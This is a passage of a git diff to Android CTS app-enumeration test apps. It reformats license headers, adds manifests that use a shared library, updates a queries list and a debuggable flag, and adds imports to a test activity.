diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
index e98a98c..07b2be6 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
index 2810c87..60a0c2d 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-usesLibrary.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-usesLibrary.xml
new file mode 100644
index 0000000..99edef0
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-usesLibrary.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appenumeration.queries.nothing.useslibrary">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="com.android.cts.ctsshim.shared_library" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-usesOptionalLibrary.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-usesOptionalLibrary.xml
new file mode 100644
index 0000000..87b7738
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-usesOptionalLibrary.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appenumeration.queries.nothing.usesoptionallibrary">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="com.android.cts.ctsshim.shared_library"
+                      android:required="false" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
index ce56a77..e5e160a 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
@@ -1,23 +1,23 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.appenumeration.queries.nothing">
-    <application>
+    <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <activity android:name="android.appenumeration.cts.query.TestActivity"
                   android:exported="true" />
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
index d63d1d5..ce27bed 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
@@ -21,6 +21,7 @@
     <queries>
         <package android:name="android.appenumeration.noapi" />
         <package android:name="android.appenumeration.noapi.shareduid" />
+        <package android:name="android.appenumeration.syncadapter" />
     </queries>
 
     <application>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml
index 87f8ab7..2f1cf69 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
index 1554de8..7fb4191 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
index b451455..dab3e2e 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
index cde61df..aabb703 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml
index 3ec5b39..72dfa6b 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
index 4562040..09755f0 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
index 26ef435..d1fdd13 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml
index 8cf6bfe..b08cc12 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml
index a51d7f4..80138c5 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml
index 1bfa17e..0f7e971 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml
index 57efc78..e9a051b 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml
index 3355c35..74412cc 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml
index ffd8848..64e3af3 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
index 48d2e2b..7ed2055 100644
--- a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -16,8 +16,13 @@
 
 package android.appenumeration.cts.query;
 
+import static android.appenumeration.cts.Constants.ACTION_CHECK_SIGNATURES;
 import static android.appenumeration.cts.Constants.ACTION_GET_INSTALLED_PACKAGES;
+import static android.appenumeration.cts.Constants.ACTION_GET_NAMES_FOR_UIDS;
+import static android.appenumeration.cts.Constants.ACTION_GET_NAME_FOR_UID;
+import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGES_FOR_UID;
 import static android.appenumeration.cts.Constants.ACTION_GET_PACKAGE_INFO;
